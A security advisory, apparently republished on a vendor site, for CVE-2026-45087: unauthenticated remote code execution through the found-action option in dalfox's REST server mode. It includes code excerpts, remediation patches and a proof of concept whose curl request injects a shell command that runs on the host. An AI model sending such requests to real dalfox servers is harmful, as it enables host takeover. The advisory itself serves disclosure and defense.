CVE-2026-45087

GHSA: Unauthenticated Remote Code Execution via found-action in Dalfox Server Mode

When dalfox is started in REST API server mode (dalfox server), the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key. Because model.Options, including FoundAction and FoundActionShell, is deserialized directly from attacker-supplied JSON in POST /scan, and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.

Severity

Critical (CVSS 3.1: 10.0)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

• Attack Vector: Network, the server binds to 0.0.0.0 by default; reachable by any network peer.
• Attack Complexity: Low, the attacker fully controls the scanned URL and can trivially host a one-line reflective server to guarantee a finding is triggered.
• Privileges Required: None, no API key is enforced in the default configuration.
• User Interaction: None.
• Scope: Changed, exploitation escapes the dalfox process boundary and executes arbitrary commands on the host OS.
• Confidentiality Impact: High, full read access to the host filesystem and secrets in the process environment.
• Integrity Impact: High, arbitrary file writes, code deployment, persistence mechanisms.
• Availability Impact: High, process kill, resource exhaustion, service disruption.

Affected Component

• cmd/server.go, init() (line 51): --api-key defaults to ""
• pkg/server/server.go, setupEchoServer() (line 68): auth middleware only registered when APIKey != ""
• pkg/server/server.go, postScanHandler() (lines 173–191): rq.Options passed to ScanFromAPI without sanitization
• lib/func.go, Initialize() (lines 118–119): FoundAction / FoundActionShell explicitly propagated from caller options
• pkg/scanning/foundaction.go, foundAction() (lines 17–18): exec.Command(options.FoundActionShell, "-c", afterCmd) executed unconditionally

CWE

• CWE-306: Missing Authentication for Critical Function
• CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
• CWE-15: External Control of System or Configuration Setting

Description

Opt-in Authentication with a Dangerous Default

cmd/server.go registers the --api-key flag with an empty string default:

// cmd/server.go:51
serverCmd.Flags().StringVar(&apiKey, "api-key", "", "Specify the API key for server authentication...")

setupEchoServer only installs the apiKeyAuth middleware when that value is non-empty:

// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
    e.Use(apiKeyAuth(options.APIKey, options))
}

A server started without --api-key accepts every request on every route with no challenge. The apiKeyAuth implementation itself is correct, the flaw is purely in the opt-in condition that makes authentication off by default.

Attacker-Controlled Options Reaches Shell Execution Without Stripping

POST /scan deserializes the full model.Options struct from the JSON body:

// pkg/server/model.go:6-8
type Req struct {
    URL     string        `json:"url"`
    Options model.Options `json:"options"`
}

// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)

model.Options exposes both execution-control fields as JSON-tagged properties:

// pkg/model/options.go:83-84
FoundAction      string `json:"found-action,omitempty"`
FoundActionShell string `json:"found-action-shell,omitempty"`

ScanFromAPI builds the scan target directly from rqOptions and passes it to dalfox.Initialize:

// pkg/server/scan.go:22-27
target := dalfox.Target{
    URL:     url,
    Method:  rqOptions.Method,
    Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)

Initialize explicitly copies both fields into newOptions, there is no stripping path:

// lib/func.go:118-119
"FoundAction":      {&newOptions.FoundAction, options.FoundAction},
"FoundActionShell": {&newOptions.FoundActionShell, options.FoundActionShell},

Shell Execution on Any Finding

foundAction is called from seven locations across pkg/scanning/scanning.go and pkg/scanning/sendReq.go whenever options.FoundAction != "" and any vulnerability is detected. None of these call sites check options.IsAPI:

// pkg/scanning/foundaction.go:12-18
func foundAction(options model.Options, target, query, ptype string) {
    afterCmd := options.FoundAction
    afterCmd = strings.ReplaceAll(afterCmd, "@@query@@", query)
    afterCmd = strings.ReplaceAll(afterCmd, "@@target@@", target)
    afterCmd = strings.ReplaceAll(afterCmd, "@@type@@", ptype)
    cmd := exec.Command(options.FoundActionShell, "-c", afterCmd)
    err := cmd.Run()
    ...
}

Because the attacker supplies both the scan target URL and found-action, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed.

Proof of Concept

# Step 1, Start a reflective XSS target (attacker-controlled)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
        body = f'<html><body>{q}</body></html>'.encode()
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY

# Step 2, Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest

# Step 3, POST unauthenticated scan request with found-action payload
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18081/?q=test",
    "options": {
      "found-action": "echo owned >/tmp/dalfox_rce_marker",
      "found-action-shell": "bash",
      "use-headless": false,
      "worker": 1,
      "limit-result": 1
    }
  }'

# Step 4, Confirm arbitrary command executed on the dalfox host
cat /tmp/dalfox_rce_marker
# Expected output: owned

No X-API-KEY header is required. The reflective server ensures dalfox finds a vulnerability, which triggers foundAction.

Recommended Remediation

Option 1: Require API key, make --api-key mandatory (preferred)

Reject server startup when no API key is provided and emit a loud warning. This is the lowest-risk fix because it protects all current and future routes without code changes to the scan path.

// cmd/server.go, in runServerCmd, before starting the server:
if serverType == "rest" && apiKey == "" {
    fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
    fmt.Fprintln(os.Stderr, "       Generate a key with: openssl rand -hex 32")
    os.Exit(1)
}

Option 2: Strip FoundAction / FoundActionShell from API-sourced requests

Prevent untrusted callers from setting execution-control options regardless of auth state. This adds defence-in-depth and protects authenticated deployments against credential theft.

// pkg/server/server.go, in postScanHandler, before calling ScanFromAPI:
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""

Both options should be applied together. Option 1 prevents unauthenticated access; Option 2 ensures that even authenticated callers (who may be external consumers of the REST API) cannot trigger host-level command execution.

##Credit

Emmanuel David

Github:- https://github.com/drmingler

• Unauthenticated remote code execution on any host running dalfox server in its default configuration.
• Full read access to secrets, configuration files, and credentials visible to the dalfox process.
• Arbitrary file writes: persistence, backdoor installation, data exfiltration staging.
• Lateral movement using the dalfox host's network position and credentials.
• The default 0.0.0.0 bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-45087 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.13.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45087? CVE-2026-45087 is a critical-severity OS command injection vulnerability in github.com/hahwul/dalfox/v2 (go), affecting versions <= 2.12.0. It is fixed in 2.13.0. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-45087? CVE-2026-45087 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/hahwul/dalfox/v2 are affected by CVE-2026-45087? github.com/hahwul/dalfox/v2 (go) versions <= 2.12.0 is affected.
4. Is there a fix for CVE-2026-45087? Yes. CVE-2026-45087 is fixed in 2.13.0. Upgrade to this version or later.
5. Is CVE-2026-45087 exploitable, and should I be worried? Whether CVE-2026-45087 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45087 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45087? Upgrade github.com/hahwul/dalfox/v2 to 2.13.0 or later.